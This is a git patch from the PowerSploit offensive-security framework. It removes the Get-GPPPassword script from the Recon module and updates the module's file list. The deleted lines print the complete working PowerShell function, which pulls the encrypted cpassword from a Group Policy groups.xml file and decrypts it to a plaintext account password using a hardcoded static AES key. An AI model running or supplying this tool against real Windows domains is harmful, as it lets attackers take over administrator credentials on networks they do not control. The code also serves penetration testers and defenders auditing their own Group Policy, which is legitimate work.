From 371c65c9a7493f0a8e02a6f888d6b75a42a77566 Mon Sep 17 00:00:00 2001
From: Matt Graeber <mattgraeber@gmail.com>
Date: Wed, 3 Jul 2013 05:46:44 -0400
Subject: Updated Get-GPPPassword

---
 Recon/Get-GPPPassword.ps1 | 106 ----------------------------------------------
 Recon/Recon.psd1          |   4 +-
 2 files changed, 2 insertions(+), 108 deletions(-)
 delete mode 100644 Recon/Get-GPPPassword.ps1

(limited to 'Recon')

diff --git a/Recon/Get-GPPPassword.ps1 b/Recon/Get-GPPPassword.ps1
deleted file mode 100644
index b22fb74..0000000
--- a/Recon/Get-GPPPassword.ps1
+++ /dev/null
@@ -1,106 +0,0 @@
-function Get-GPPPassword
-{
-<#
-.SYNOPSIS
-
-Retrieves the plaintext password for accounts pushed through Group Policy in groups.xml.
-
-PowerSploit Function: Get-GPPPassword
-Author: Chris Campbell (@obscuresec)
-License: BSD 3-Clause
-Required Dependencies: None
-Optional Dependencies: None
- 
-.DESCRIPTION
-
-Get-GPPPassword imports the encoded and encrypted password string from groups.xml and then decodes and decrypts the plaintext password.
-
-.PARAMETER Path
-
-The path to the targeted groups.xml file.
-
-.EXAMPLE
-
-Get-GPPPassword -path c:\demo\groups.xml
-
-.LINK
-
-http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
-http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
-#>
-
-    Param (
-        [Parameter(Position = 0, Mandatory = $True)]
-        [String]
-        $Path = "$PWD\groups.xml"
-    )
-
-    #Function to pull encrypted password string from groups.xml
-    function Parse-cPassword {
-    
-        try {
-            [xml] $Xml = Get-Content ($Path)
-            [String] $Cpassword = $Xml.Groups.User.Properties.cpassword
-        } catch { Write-Error "No Password Policy Found in File!" } 
-         
-        return $Cpassword
-    }
-    
-    #Function to look to see if the administrator account is given a newname
-    function Parse-NewName {
-    
-        [xml] $Xml = Get-Content ($Path) 
-        [String] $NewName = $Xml.Groups.User.Properties.newName
-        
-        return $NewName
-    }
-    
-    #Function to parse out the Username whose password is being specified
-    function Parse-UserName {
-    
-        try {
-            [xml] $Xml = Get-Content ($Path) 
-            [string] $UserName = $Xml.Groups.User.Properties.userName 
-        } catch { Write-Error "No Username Specified in File!" }
-        
-        return $UserName
-    }
-    
-    #Function that decodes and decrypts password
-    function Decrypt-Password {
-    
-        try {
-            #Append appropriate padding based on string length  
-            $Pad = "=" * (4 - ($Cpassword.length % 4))
-            $Base64Decoded = [Convert]::FromBase64String($Cpassword + $Pad)
-            #Create a new AES .NET Crypto Object
-            $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
-            #Static Key from http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
-            [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
-                                 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
-            #Set IV to all nulls (thanks Matt) to prevent dynamic generation of IV value
-            $AesIV = New-Object Byte[]($AesObject.IV.Length) 
-            $AesObject.IV = $AesIV
-            $AesObject.Key = $AesKey
-            $DecryptorObject = $AesObject.CreateDecryptor() 
-            [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
-            
-            return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
-        } catch { Write-Error "Decryption Failed!" }
-     
-    }
-
-    $Cpassword = Parse-cPassword 
-    $Password = Decrypt-Password
-    $NewName = Parse-NewName
-    $UserName = Parse-UserName
-    
-    $Results = New-Object System.Object
-    
-    Add-Member -InputObject $Results -type NoteProperty -name UserName -value $UserName
-    Add-Member -InputObject $Results -type NoteProperty -name NewName -value $NewName
-    Add-Member -InputObject $Results -type NoteProperty -name Password -value $Password
-
-    return $Results
- 
-}
diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1
index 59c6377..afcb7fb 100644
--- a/Recon/Recon.psd1
+++ b/Recon/Recon.psd1
@@ -73,8 +73,8 @@ AliasesToExport = ''
 ModuleList = @(@{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'})
 
 # List of all files packaged with this module
-FileList = 'Recon.psm1', 'Recon.psd1', 'Get-GPPPassword.ps1', 'Get-HttpStatus.ps1',
-               'Invoke-ReverseDnsLookup.ps1', 'Usage.md'
+FileList = 'Recon.psm1', 'Recon.psd1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsLookup.ps1',
+               'Usage.md'
 
 # Private data to pass to the module specified in RootModule/ModuleToProcess
 # PrivateData = ''
-- 
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